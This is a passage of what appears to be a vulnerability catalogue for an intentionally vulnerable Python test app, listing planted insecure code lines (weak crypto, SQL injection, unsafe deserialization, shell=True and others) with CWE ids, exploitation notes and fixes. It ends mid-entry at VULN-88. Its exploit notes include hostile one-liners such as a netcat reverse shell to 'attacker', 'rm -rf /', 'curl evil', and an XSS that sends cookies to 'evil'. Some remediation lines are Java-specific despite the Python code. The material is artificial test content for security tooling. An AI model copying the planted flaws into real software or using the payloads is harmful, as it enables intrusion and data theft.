3.31 VULN-31: CWE-327: Broken/Risky Cryptographic Algorithm

Location: src/vulnapp/crypto_secret_vulns.py, line 25 **Rule:** python/broken-risky-crypto-algorithm

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/327.html>

Planted sink:

```
return hashlib.sha1(data.encode()).hexdigest()
```

What it is. A broken or risky cryptographic algorithm is used (DES, MD5, SHA1, ECB...).

Exploitation variants.

- Exploit known weaknesses (collisions, small keyspace, ECB pattern leakage) to forge or decrypt.

Remediation. Use vetted primitives: AES-GCM, SHA-256+, HMAC; avoid ECB and legacy ciphers.

3.32 VULN-32: CWE-327: Broken/Risky Cryptographic Algorithm

Location: src/vulnapp/crypto_secret_vulns.py, line 31 **Rule:** python/broken-risky-crypto-algorithm

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/327.html>

Planted sink:

```
cipher = DES.new(b"8bytekey", DES.MODE_ECB)
```

What it is. A broken or risky cryptographic algorithm is used (DES, MD5, SHA1, ECB...).

Exploitation variants.

- Exploit known weaknesses (collisions, small keyspace, ECB pattern leakage) to forge or decrypt.

Remediation. Use vetted primitives: AES-GCM, SHA-256+, HMAC; avoid ECB and legacy ciphers.

3.33 VULN-33: CWE-327: Broken/Risky Cryptographic Algorithm

Location: src/vulnapp/crypto_secret_vulns.py, line 38 **Rule:** python/broken-risky-crypto-algorithm

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/327.html>

Planted sink:

```
cipher = AES.new(AES_KEY, AES.MODE_ECB)
```

What it is. A broken or risky cryptographic algorithm is used (DES, MD5, SHA1, ECB...).

Exploitation variants.

- Exploit known weaknesses (collisions, small keyspace, ECB pattern leakage) to forge or decrypt.

Remediation. Use vetted primitives: AES-GCM, SHA-256+, HMAC; avoid ECB and legacy ciphers.

3.34 VULN-34: CWE-329: Not Using Random IV With CBC

Location: src/vulnapp/crypto_secret_vulns.py, line 46 **Rule:** python/not-using-random-iv-with-cbc

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/329.html>

Planted sink:

```
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
```

What it is. CBC mode used without a random IV (static/predictable IV).

Exploitation variants.

- Detect identical plaintext blocks/messages; chosen-plaintext attacks recover data.

Remediation. Use a fresh random IV per message (or authenticated modes like GCM).

3.35 VULN-35: CWE-330: Use of Insufficiently Random Values

Location: src/vulnapp/crypto_secret_vulns.py, line 52 **Rule:** python/insufficiently-random-values

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/330.html>

Planted sink:

```
return "".join(random.choice("0123456789abcdef") for _ in range(32))
```

What it is. Insufficiently random values used where unpredictability is required.

Exploitation variants.

- Predict tokens/session ids/nonces generated with java.util.Random.

Remediation. Use SecureRandom for all security-sensitive values.

3.36 VULN-36: CWE-337: Predictable Seed in PRNG

Location: src/vulnapp/crypto_secret_vulns.py, line 57 **Rule:** python/predictable-seed-in-prng

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/337.html>

Planted sink:

```
random.seed(1234)
```

What it is. Predictable seed used to initialize a PRNG.

Exploitation variants.

- Recompute the seed (e.g. current time) and regenerate all 'random' outputs.

Remediation. Never seed with predictable data; use SecureRandom with OS entropy.

3.37 VULN-37: CWE-759: Password Hash Without Salt

Location: src/vulnapp/crypto_secret_vulns.py, line 63 **Rule:** python/password-hash-without-salt

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/759.html>

Planted sink:

```
return hashlib.sha256(password.encode()).hexdigest()
```

What it is. Password hashed without a salt.

Exploitation variants.

- Use rainbow tables / precomputed hashes to crack many passwords instantly.
- Identical passwords produce identical hashes, aiding cracking.

Remediation. Use per-user salt with a slow KDF (bcrypt/Argon2).

3.38 VULN-38: CWE-306: Missing Authentication for Critical Function

Location: src/vulnapp/auth_api_vulns.py, line 17 **Rule:** python/missing-authentication-for-critical-function

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/306.html>

Planted sink:

```
db.execute("DELETE FROM users WHERE id=?", (user_id,))
```

What it is. A critical function is reachable without authentication.

Exploitation variants.

- Call the sensitive endpoint directly with no credentials to perform privileged actions.

Remediation. Require authentication/authorization on every sensitive operation.

3.39 VULN-39: CWE-639: Authorization Bypass / IDOR

Location: src/vulnapp/auth_api_vulns.py, line 23 **Rule:** python/authorization-bypass-idor

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/639.html>

Planted sink:

```
return db.execute("SELECT body FROM docs WHERE id=?", (doc_id,)).fetchone()
```

What it is. Authorization bypass via user-controlled key (IDOR).

Exploitation variants.

- Change an id ('/account?id=124') to access another user's object.

- Enumerate ids to scrape all records.

Remediation. Check that the current principal owns/may access the referenced object.

3.40 VULN-40: CWE-269: Improper Privilege Management

Location: src/vulnapp/auth_api_vulns.py, line 28 **Rule:** python/improper-privilege-management

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/269.html>

Planted sink:

```
role = request.args.get("role", "user")
```

What it is. Improper privilege management grants more rights than needed.

Exploitation variants.

- Abuse over-broad privileges to perform actions outside the intended role.
- Escalate from a low-priv account to admin operations.

Remediation. Enforce least privilege; check authorization per action.

3.41 VULN-41: CWE-256: Plaintext Storage of Password

Location: src/vulnapp/auth_api_vulns.py, line 34 **Rule:** python/plaintext-storage-of-password

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/256.html>

Planted sink:

```
db.execute("INSERT INTO users(name, password) VALUES(?,?)", (username, password))
```

What it is. Passwords stored in plaintext.

Exploitation variants.

- Any DB/file read (SQLi, backup leak, insider) yields usable credentials directly.
- Credential reuse lets the attacker pivot to other services.

Remediation. Store only salted, slow password hashes (bcrypt/scrypt/Argon2).

3.42 VULN-42: CWE-326: Inadequate Encryption Strength

Location: src/vulnapp/auth_api_vulns.py, line 39 **Rule:** python/inadequate-encryption-strength

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/326.html>

Planted sink:

```
return base64.b64encode(secret.encode()).decode()
```

What it is. Encryption strength is inadequate (short keys / weak parameters).

Exploitation variants.

- Brute-force or cryptanalyze the weak key/parameter to recover plaintext.

Remediation. Use modern algorithms and key sizes (AES-256, RSA $\geq$ 3072/EC).

3.43 VULN-43: CWE-287: Improper Authentication

Location: src/vulnapp/auth_api_vulns.py, line 44 **Rule:** python/improper-authentication

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/287.html>

Planted sink:

```
return {"logged_in_as": request.headers.get("X-User-Id")}
```

What it is. Improper authentication: identity is not correctly verified.

Exploitation variants.

- Bypass or forge the authentication check to act as another user.
- Replay or spoof weak identity tokens.

Remediation. Use a vetted auth framework; verify credentials and tokens robustly.

3.44 VULN-44: CWE-521: Weak Password Requirements

Location: src/vulnapp/auth_api_vulns.py, line 49 **Rule:** python/weak-password-requirements

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/521.html>

Planted sink:

```
return len(password) >= 0
```

What it is. Weak password requirements permit trivial passwords.

Exploitation variants.

- Guess/brute-force short or common passwords quickly.

Remediation. Enforce length/complexity, block breached passwords, encourage MFA.

3.45 VULN-45: CWE-208: Observable Timing Discrepancy

Location: src/vulnapp/auth_api_vulns.py, line 54 **Rule:** python/observable-timing-discrepancy

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/208.html>

Planted sink:

```
return provided == expected
```

What it is. Observable timing discrepancy leaks secret-dependent information.

Exploitation variants.

- Measure response time of comparisons to recover secrets byte-by-byte (timing side channel).

Remediation. Use constant-time comparison (MessageDigest.isEqual) for secrets/HMACs.

3.46 VULN-46: CWE-347: Improper Verification of Cryptographic Signature

Location: src/vulnapp/auth_api_vulns.py, line 60 **Rule:** python/improper-verification-of-cryptogr

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/347.html>

Planted sink:

```
return jwt.decode(token, options={"verify_signature": False})
```

What it is. Cryptographic signature is not (properly) verified.

Exploitation variants.

- Forge or alter signed content (e.g. JWT with 'alg:none' or unverified signature).

Remediation. Always verify signatures with the expected algorithm and key.

3.47 VULN-47: CWE-798: Use of Hard-coded Credentials

Location: src/vulnapp/auth_api_vulns.py, line 66 **Rule:** python/use-of-hard-coded-credentials

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/798.html>

Planted sink:

```
return jwt.encode(payload, "secret", algorithm="HS256")
```

What it is. Hard-coded credentials (keys/tokens/passwords) in source.

Exploitation variants.

- Extract the secret from the repo/binary and use it directly.

Remediation. Externalize secrets to a vault/env; rotate leaked ones.

3.48 VULN-48: CWE-307: Improper Restriction of Excessive Auth Attempts

Location: src/vulnapp/auth_api_vulns.py, line 71 **Rule:** python/improper-restriction-of-excessive

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/307.html>

Planted sink:

```
return db.execute("SELECT 1 FROM users WHERE name=? AND password=?",
```

What it is. No throttling/lockout on repeated authentication attempts.

Exploitation variants.

- Brute-force or credential-stuff passwords/OTPs at high rate.

Remediation. Rate-limit, add exponential backoff/lockout and CAPTCHA/MFA.

3.49 VULN-49: CWE-209: Information Exposure Through Error Message

Location: src/vulnapp/auth_api_vulns.py, line 81 **Rule:** python/information-exposure-through-error

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/209.html>

Planted sink:

```
return traceback.format_exc()
```

What it is. Error messages expose sensitive internal information.

Exploitation variants.

- Trigger exceptions to harvest stack traces, SQL, file paths, framework versions.
- Map the attack surface from verbose errors.

Remediation. Return generic errors to clients; log details server-side only.

3.50 VULN-50: CWE-611: XML External Entity (XXE)

Location: src/vulnapp/data_config_vulns.py, line 20 **Rule:** python/xml-external-entity-xxe

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/611.html>

Planted sink:

```
return etree.fromstring(xml_bytes, parser)
```

What it is. XML External Entity (XXE): XML parser resolves external entities.

Exploitation variants.

- Define an entity pointing at 'file:///etc/passwd' to read local files.

- SSRF via 'http://' entities; DoS via billion-laugh entity expansion.

Remediation. Disable DTDs/external entities on all XML parsers.

3.51 VULN-51: CWE-502: Deserialization of Untrusted Data

Location: src/vulnapp/data_config_vulns.py, line 25 **Rule:** python/deserialization-of-untrusted-d

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/502.html>

Planted sink:

```
return yaml.load(data, Loader=yaml.Loader)
```

What it is. Deserialization of untrusted data.

Exploitation variants.

- Send a crafted serialized object (gadget chain) to achieve RCE on readObject.
- Trigger DoS via billion-objects/large graphs.

Remediation. Avoid native deserialization of untrusted input; use safe formats (JSON) with allow-lists.

3.52 VULN-52: CWE-470: Unsafe Reflection

Location: src/vulnapp/data_config_vulns.py, line 31 **Rule:** python/unsafe-reflection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/470.html>

Planted sink:

```
return importlib.import_module(class_name)
```

What it is. Unsafe reflection: class/method name comes from user input.

Exploitation variants.

- Instantiate arbitrary classes to trigger dangerous side effects or gadget chains.

Remediation. Map input to an allow-list of permitted classes; never reflect raw input.

3.53 VULN-53: CWE-117: Log Injection

Location: src/vulnapp/data_config_vulns.py, line 37 **Rule:** python/log-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/117.html>

Planted sink:

```
logger.info("Login attempt for user: " + username)
```

What it is. Log injection: unsanitized input written to logs.

Exploitation variants.

- Inject newlines to forge fake log entries and hide activity.
- Embed ANSI/terminal escapes or payloads that exploit a log viewer/SIEM.

Remediation. Neutralize CR/LF and control chars before logging; log structured fields, not raw strings.

3.54 VULN-54: CWE-532: Sensitive Information in Log File

Location: src/vulnapp/data_config_vulns.py, line 42 **Rule:** python/insertion-of-sensitive-informa

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/532.html>

Planted sink:

```
logger.info("Processing card %s cvv %s", card_number, cvv)
```

What it is. Sensitive information written to log files.

Exploitation variants.

- Read logs (or leak them) to obtain passwords/tokens/PII.

Remediation. Never log secrets; mask/redact sensitive fields.

3.55 VULN-55: CWE-295: Improper Certificate Validation

Location: src/vulnapp/data_config_vulns.py, line 50 **Rule:** python/improper-certificate-validatio

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/295.html>

Planted sink:

```
ctx.verify_mode = ssl.CERT_NONE
```

What it is. Improper certificate validation (TLS trust checks disabled/weak).

Exploitation variants.

- Man-in-the-middle the connection with a self-signed cert since validation is skipped.
- Intercept/modify traffic and steal credentials or tokens.

Remediation. Validate the full chain and hostname; never install trust-all TrustManagers.

3.56 VULN-56: CWE-327: Broken/Risky Cryptographic Algorithm

Location: src/vulnapp/data_config_vulns.py, line 56 **Rule:** python/broken-risky-crypto-algorithm

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/327.html>

Planted sink:

```
return ssl.SSLContext(ssl.PROTOCOL_TLSv1)
```

What it is. A broken or risky cryptographic algorithm is used (DES, MD5, SHA1, ECB...).

Exploitation variants.

- Exploit known weaknesses (collisions, small keyspace, ECB pattern leakage) to forge or decrypt.

Remediation. Use vetted primitives: AES-GCM, SHA-256+, HMAC; avoid ECB and legacy ciphers.

3.57 VULN-57: CWE-489: Active Debug Code

Location: src/vulnapp/data_config_vulns.py, line 61 **Rule:** python/active-debug-code

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/489.html>

Planted sink:

```
app.run(host="0.0.0.0", debug=True)
```

What it is. Active debug code left in production.

Exploitation variants.

- Hit debug endpoints/flags to dump state, bypass auth, or run diagnostics.

Remediation. Remove debug code; gate behind build profiles.

3.58 VULN-58: CWE-312: Cleartext Storage of Sensitive Information

Location: src/vulnapp/data_config_vulns.py, line 66 **Rule:** python/cleartext-storage-of-sensitive

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/312.html>

Planted sink:

```
open("/etc/app/creds.txt", "w").write(secret)
```

What it is. Sensitive data stored in cleartext (files, cache, prefs, DB).

Exploitation variants.

- Read the storage medium to obtain secrets/PII with no cracking needed.

Remediation. Encrypt sensitive data at rest; minimize what you store.

3.59 VULN-59: CWE-20: Improper Input Validation

Location: src/vulnapp/data_config_vulns.py, line 72 **Rule:** python/improper-input-validation

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/20.html>

Planted sink:

```
return bytearray(int(size))
```

What it is. Input is used without validating type, length, range, or format.

Exploitation variants.

- Send oversized, negative, or malformed values to trigger downstream errors, resource exhaustion, or logic bypass.
- Feed unexpected encodings/characters to reach a different code path (often a stepping stone to injection).

Remediation. Validate against an allow-list of expected shape/range on the server side before use.

3.60 VULN-60: CWE-434: Unrestricted File Upload

Location: src/vulnapp/data_config_vulns.py, line 78 **Rule:** python/unrestricted-file-upload

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/434.html>

Planted sink:

```
f.save("/var/www/uploads/" + f.filename)
```

What it is. Unrestricted file upload allows dangerous file types.

Exploitation variants.

- Upload a 'jsp'/'php' webshell and request it to get RCE.
- Bypass filters via double extensions, content-type spoofing, or null bytes.

Remediation. Allow-list types, store outside web root, randomize names, verify content.

3.61 VULN-61: CWE-89: SQL Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 20 **Rule:** python/sql-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/89.html>

Planted sink:

```
cur.execute("SELECT * FROM orders WHERE customer = '" + stored_name + "'")
```

What it is. SQL injection: untrusted input is concatenated into a SQL query string.

Exploitation variants.

- Auth bypass: ‘ OR '1'='1‘ in a login field.
- Data exfiltration via UNION: ‘ UNION SELECT username,password FROM users–‘.
- Blind/time-based extraction with ‘SLEEP()’/‘WAITFOR‘; stacked queries for write/DROP.

Remediation. Use parameterized queries / PreparedStatement; never build SQL by string concatenation.

3.62 VULN-62: CWE-89: SQL Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 27 **Rule:** python/sql-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/89.html>

Planted sink:

```
cur.execute("SELECT * FROM products WHERE name LIKE '%" + term + "%'")
```

What it is. SQL injection: untrusted input is concatenated into a SQL query string.

Exploitation variants.

- Auth bypass: ‘ OR '1'='1‘ in a login field.
- Data exfiltration via UNION: ‘ UNION SELECT username,password FROM users–‘.
- Blind/time-based extraction with ‘SLEEP()’/‘WAITFOR‘; stacked queries for write/DROP.

Remediation. Use parameterized queries / PreparedStatement; never build SQL by string concatenation.

3.63 VULN-63: CWE-88: Argument Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 33 **Rule:** python/argument-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/88.html>

Planted sink:

```
return subprocess.check_output(["git", "log", user_file])
```

What it is. Argument injection: untrusted input becomes an argument to an external program, letting the attacker inject extra flags/options that change the program’s behavior.

Exploitation variants.

- Pass a value beginning with ‘-‘ or ‘--‘ to smuggle dangerous flags (e.g. git’s ‘--upload-pack‘, tar’s ‘--to-command‘).
- Turn a benign command into code execution by injecting an option that runs a helper.

Remediation. Validate/allow-list argument values, use ‘-‘ to terminate option parsing, and never let user input start an option token.

3.64 VULN-64: CWE-917: Expression Language Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 38 **Rule:** python/expression-language-inj

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/917.html>

Planted sink:

```
return render_template_string("{{ " + user_expr + " }}" )
```

What it is. Expression Language injection (SpEL/OGNL/EL).

Exploitation variants.

- Inject ‘\${T(java.lang.Runtime).getRuntime().exec(...)}’ for RCE.

Remediation. Never evaluate user input as EL; use safe templating with no EL over input.

3.65 VULN-65: CWE-643: XPath Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 43 **Rule:** python/xpath-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/643.html>

Planted sink:

```
return tree.xpath("//users/user[name='" + user + "']")
```

What it is. XPath injection: input concatenated into an XPath query.

Exploitation variants.

- Inject ‘ or '1'='1‘ to bypass auth or extract nodes.
- Blind boolean extraction of the XML document.

Remediation. Use parameterized XPath (variables) and escape/validate input.

3.66 VULN-66: CWE-93: CRLF / Header Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 48 **Rule:** python/crlf-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/93.html>

Planted sink:

```
resp.headers["Content-Disposition"] = "attachment; filename=" + filename
```

What it is. CRLF injection: carriage-return/line-feed sequences from input are written into a protocol stream.

Exploitation variants.

- Inject ‘%0d%0a‘ to forge headers, split responses, or poison logs.
- Add extra headers/set-cookie or smuggle a second response.

Remediation. Strip/reject CR and LF from any value used in headers, logs, or protocol fields.

3.67 VULN-67: CWE-79: Cross-Site Scripting

Location: src/vulnapp/advanced_injection_vulns.py, line 55 **Rule:** python/cross-site-scripting

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/79.html>

Planted sink:

```
return Response(body, mimetype="text/html")
```

What it is. Cross-site scripting: untrusted input is reflected into HTML/JS without encoding.

Exploitation variants.

- Reflected: ‘?q=<script>document.location=’//evil/’+document.cookie</script>’ to steal sessions.
- Use event handlers/‘’ when ‘<script>’ is filtered.
- Escalate to keylogging, CSRF token theft, or full account takeover.

Remediation. Context-aware output encoding (HTML/attr/JS/URL); use a template engine that auto-escapes and set CSP.

3.68 VULN-68: CWE-116: Improper Encoding or Escaping of Output

Location: src/vulnapp/advanced_injection_vulns.py, line 61 **Rule:** python/improper-encoding-or-es

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/116.html>

Planted sink:

```
resp.headers["Content-Type"] = "text/html"
```

What it is. Output is placed into a context without proper encoding/escaping for that context.

Exploitation variants.

- Depending on sink, breaks out into HTML, SQL, shell, or a URL and injects payload.
- Mismatched encoding (e.g. HTML-encode but sink is JS) still allows injection.

Remediation. Apply encoding matching the exact output context; centralize encoding helpers.

3.69 VULN-69: CWE-134: Uncontrolled Format String

Location: src/vulnapp/advanced_injection_vulns.py, line 67 **Rule:** python/uncontrolled-format-str

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/134.html>

Planted sink:

```
return user_fmt % value
```

What it is. Uncontrolled format string: user input used as the format specifier.

Exploitation variants.

- Supply ‘%x’/‘%s’/‘%n’-style specifiers (in C) to leak/write memory; in Java, ‘%n’ or bad specifiers cause exceptions/DoS or leak args.
- Cause ‘IllegalFormatException’ for DoS or unexpected output.

Remediation. Use a constant format string; pass user data only as arguments.

3.70 VULN-70: CWE-915: Mass Assignment

Location: src/vulnapp/advanced_injection_vulns.py, line 72 **Rule:** python/mass-assignment

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/915.html>

Planted sink:

```
for k, v in request.form.items():
```

What it is. Mass assignment: request binds directly to internal object fields.

Exploitation variants.

- Add unexpected params (‘isAdmin=true’, ‘role=admin’) to set protected fields.

Remediation. Bind to an explicit DTO / allow-list of settable fields.

3.71 VULN-71: CWE-601: Open Redirect

Location: src/vulnapp/advanced_injection_vulns.py, line 79 **Rule:** python/open-redirect

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/601.html>

Planted sink:

```
resp.headers["Refresh"] = "0; url=" + next_url
```

What it is. Open redirect: redirect target comes from user input.

Exploitation variants.

- Craft ‘?next=//evil.com’ links for phishing that appear to originate from the trusted site.

Remediation. Allow-list redirect targets or use relative paths only.

3.72 VULN-72: CWE-918: Server-Side Request Forgery

Location: src/vulnapp/advanced_injection_vulns.py, line 86 **Rule:** python/server-side-request-for

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/918.html>

Planted sink:

```
return requests.get(url, allow_redirects=True).text
```

What it is. Server-Side Request Forgery: server fetches a user-supplied URL.

Exploitation variants.

- Point it at internal services (‘http://169.254.169.254/’, ‘http://localhost:admin’) to reach cloud metadata/internal APIs.
- Use ‘file:’/‘gopher:’ schemes for local file read or protocol smuggling.

Remediation. Allow-list destinations, block internal ranges/metadata, disable risky schemes.

3.73 VULN-73: CWE-776: XML Entity Expansion (Billion Laughs)

Location: src/vulnapp/advanced_injection_vulns.py, line 93 **Rule:** python/xml-entity-expansion

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/776.html>

Planted sink:

```
parser.setFeature(xml.sax.handler.feature_external_ges, True)
```

What it is. XML entity expansion (billion-laughs): nested/recursive entity definitions expand exponentially, exhausting CPU and memory.

Exploitation variants.

- Upload an XML doc with deeply nested entities to exhaust memory and DoS the service.
- Combine with external entities (XXE) for file read plus resource exhaustion.

Remediation. Disable DTD/entity processing (e.g. defusedxml, forbid_dtd=True); cap entity expansion and input size.

3.74 VULN-74: CWE-1275: Sensitive Cookie Without SameSite

Location: src/vulnapp/advanced_injection_vulns.py, line 99 **Rule:** python/cookie-without-samesite

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/1275.html>

Planted sink:

```
resp.set_cookie("auth", token, samesite=None)
```

What it is. Sensitive cookie without the SameSite attribute, leaving it attachable to cross-site requests and exposing the session to CSRF.

Exploitation variants.

- Trigger cross-site state-changing requests that carry the cookie automatically.
- Chain with CSRF to perform actions as the victim.

Remediation. Set SameSite=Lax or Strict on session/auth cookies, plus Secure and HttpOnly.

3.75 VULN-75: CWE-352: Cross-Site Request Forgery

Location: src/vulnapp/advanced_injection_vulns.py, line 105 **Rule:** python/cross-site-request-for

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/352.html>

Planted sink:

```
db.execute("UPDATE settings SET email=?", (request.form["email"],))
```

What it is. Cross-Site Request Forgery: a state-changing request is accepted without proof it was intentionally sent by the authenticated user.

Exploitation variants.

- Host an auto-submitting form / ‘’ on an attacker page that fires the victim’s authenticated request.
- Change email/password or transfer funds using the victim’s ambient cookies.

Remediation. Require a per-session anti-CSRF token on state-changing requests and set cookies SameSite=Lax/Strict.

3.76 VULN-76: CWE-644: Improper Neutralization of HTTP Headers

Location: src/vulnapp/advanced_injection_vulns.py, line 111 **Rule:** python/host-header-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/644.html>

Planted sink:

```
return "https://" + host + "/reset?token=abc"
```

What it is. Improper neutralization of HTTP headers: a client-controlled header (e.g. Host) is trusted when building URLs/links or making decisions.

Exploitation variants.

- Poison a password-reset link via a forged Host header so the token is sent to an attacker domain.
- Cache poisoning / routing abuse using a spoofed Host or X-Forwarded-* header.

Remediation. Use a configured canonical host/base URL; validate Host against an allow-list; never build security-relevant URLs from request headers.

3.77 VULN-77: CWE-601: Open Redirect

Location: src/vulnapp/advanced_injection_vulns.py, line 117 **Rule:** python/open-redirect

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/601.html>

Planted sink:

```
return Response(body, mimetype="text/html")
```

What it is. Open redirect: redirect target comes from user input.

Exploitation variants.

- Craft ‘?next=//evil.com’ links for phishing that appear to originate from the trusted site.

Remediation. Allow-list redirect targets or use relative paths only.

3.78 VULN-78: CWE-78: OS Command Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 123 **Rule:** python/os-command-injection

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/78.html>

Planted sink:

```
return subprocess.check_output("echo $USER_INPUT", shell=True)
```

What it is. OS command injection: untrusted input is concatenated into a shell/command invocation.

Exploitation variants.

- Inject shell metacharacters: ‘; rm -rf /’, ‘| nc attacker 4444 -e /bin/sh’, ‘\$(curl evil)’.
- Use ‘&&’, ‘||’, backticks or ‘\$()’ to chain arbitrary commands.
- On ‘Runtime.exec(String)’ the string is split naively, so spaces/quotes can be abused.

Remediation. Avoid the shell; use ProcessBuilder with an argument array and a fixed command, validate arguments.

3.79 VULN-79: CWE-1336: Server-Side Template Injection

Location: src/vulnapp/advanced_injection_vulns.py, line 129 **Rule:** python/server-side-template-i

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/1336.html>

Planted sink:

```
return Template(tmpl_src).render()
```

What it is. Server-Side Template Injection: input becomes part of a template.

Exploitation variants.

- Inject template syntax (‘\${7*7}’, ‘#{...}’) that the engine evaluates, often to RCE.

Remediation. Never render user input as template source; pass it as data only.

3.80 VULN-80: CWE-1333: Inefficient Regular Expression (ReDoS)

Location: src/vulnapp/advanced_injection_vulns.py, line 134 **Rule:** python/redos **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/1333.html>

Planted sink:

```
return re.match(r"^(a+)+$", user_input)
```

What it is. Inefficient regex enabling ReDoS (catastrophic backtracking).

Exploitation variants.

- Send crafted input that makes the regex backtrack exponentially, pinning CPU (DoS).

Remediation. Use linear-time regex engines, bound input, avoid nested quantifiers.

3.81 VULN-81: CWE-367: TOCTOU Race Condition

Location: src/vulnapp/concurrency_misc_vulns.py, line 21 **Rule:** python/toctou-race-condition

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/367.html>

Planted sink:

```
if os.access(path, os.W_OK):
```

What it is. TOCTOU: state checked and then used in separate, non-atomic steps.

Exploitation variants.

- Swap a file/symlink between the check and the use to access a different resource.

Remediation. Operate atomically on a handle; avoid check-then-use on paths.

3.82 VULN-82: CWE-362: Concurrent Execution Race Condition

Location: src/vulnapp/concurrency_misc_vulns.py, line 29 **Rule:** python/race-condition

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/362.html>

Planted sink:

```
_counter = _counter + amount
```

What it is. Race condition: concurrent access to shared state without synchronization.

Exploitation variants.

- Time parallel requests to corrupt shared data or double-spend/double-use a resource.

Remediation. Synchronize access or use atomic/immutable structures.

3.83 VULN-83: CWE-772: Missing Release of Resource

Location: src/vulnapp/concurrency_misc_vulns.py, line 35 **Rule:** python/missing-release-of-resource

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/772.html>

Planted sink:

```
f = open(path)
```

What it is. A resource (stream/connection) is not released on all paths.

Exploitation variants.

- Repeat the operation to exhaust file handles/connections (DoS).

Remediation. Use try-with-resources / finally to always close.

3.84 VULN-84: CWE-772: Missing Release of Resource

Location: src/vulnapp/concurrency_misc_vulns.py, line 42 **Rule:** python/missing-release-of-resource

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/772.html>

Planted sink:

```
s = socket.create_connection((host, port))
```

What it is. A resource (stream/connection) is not released on all paths.

Exploitation variants.

- Repeat the operation to exhaust file handles/connections (DoS).

Remediation. Use try-with-resources / finally to always close.

3.85 VULN-85: CWE-789: Uncontrolled Memory Allocation

Location: src/vulnapp/concurrency_misc_vulns.py, line 49 **Rule:** python/uncontrolled-memory-alloc

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/789.html>

Planted sink:

```
return [0] * n
```

What it is. Uncontrolled memory allocation driven by input size.

Exploitation variants.

- Send a huge size/count so the app allocates until OOM (DoS).

Remediation. Cap sizes; validate length/count before allocating.

3.86 VULN-86: CWE-190: Integer Overflow or Wraparound

Location: src/vulnapp/concurrency_misc_vulns.py, line 56 **Rule:** python/integer-overflow

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/190.html>

Planted sink:

```
return bytearray(width * height)
```

What it is. Integer overflow/wraparound produces an unexpected small/negative value.

Exploitation variants.

- Provide values near MAX_INT so arithmetic wraps, bypassing size/bounds checks.
- Trigger under-allocation followed by out-of-bounds write, or negative loop counters.

Remediation. Use checked arithmetic (Math.addExact), validate ranges, use wider/big-integer types.

3.87 VULN-87: CWE-835: Loop With Unreachable Exit Condition

Location: src/vulnapp/concurrency_misc_vulns.py, line 62 **Rule:** python/infinite-loop

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/835.html>

Planted sink:

```
while n != 0:
```

What it is. Loop whose exit condition can never be met (infinite loop).

Exploitation variants.

- Provide input that hits the non-terminating path to hang a thread (DoS).

Remediation. Ensure loop bounds/termination for all inputs; add timeouts.

3.88 VULN-88: CWE-369: Divide By Zero

Location: src/vulnapp/concurrency_misc_vulns.py, line 70 **Rule:** python/divide-by-zero

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/369.html>

Planted sink:

```
return 100 / divisor
```

What it is. Divide-by-zero from unvalidated operands.

